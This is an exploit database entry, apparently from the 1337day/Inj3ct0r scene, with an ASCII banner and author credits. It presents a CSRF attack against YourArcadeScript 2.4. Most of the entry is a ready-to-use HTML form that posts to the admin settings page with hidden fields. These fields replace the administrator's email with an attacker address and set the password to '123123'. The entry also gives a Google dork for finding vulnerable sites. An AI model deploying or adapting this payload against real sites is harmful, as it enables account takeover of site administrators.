1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 I'm T0x!c member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 #### # Exploit Title: YourArcadeScript 2.4 Password Change CSRF # Author: T0x!c # Date : 06/10/2012 # Facebook Page: www.facebook.com/DzTem # E-mail: Malik_99@hotmail.fr # Category:: webapps # Google Dork: intext:"Powered by YourArcadeScript 2.4" # Download: http://www.yourarcadescript.com # Version: v2.4 # Tested on: [Windows 7]/ #### # Greetings tO: |KhalEd Ked'Ans| |Kha&mix| |indoushka| |Kalashinkov3| |Ev!LsCr!pT_Dz| |KinG Of PiraTeS| |TrOoN| |Đr Hĺwk| .... <html> <head><title>Password Change CSRF</title></head> <body bgcolor="black"> <form method="POST" action="http://127.0.0.1/web/yas/admin/index.php?act=settings"> <center><input type="hidden" size="28" name="email" value="hakermal@gmail.com"> <br> <center><input type="hidden" size="28" name="sitename" value="Yas pentesting" > <br> <center><input type="hidden" size="28" name="slogan" value="Slogan"> <br> <center><input type="hidden" size="28" name="metades" value="metades"> <br> <center><input type="hidden" size="28" name="metakeywords" value="metakeywords"> <br> <center><font size="5pk" face="tahome" color="red"> Password Change CSRF <br> <center><input type="password" name="password" value="123123"> <br> <center><input type="password" name="passwordcheck" value="123123"> <br> <center><input class="button" type="submit" value="Update Settings" name="settings"> </form> </html> # - Special Thanks: # ...:::' 1337day - Inj3ct0r TEAM ':::...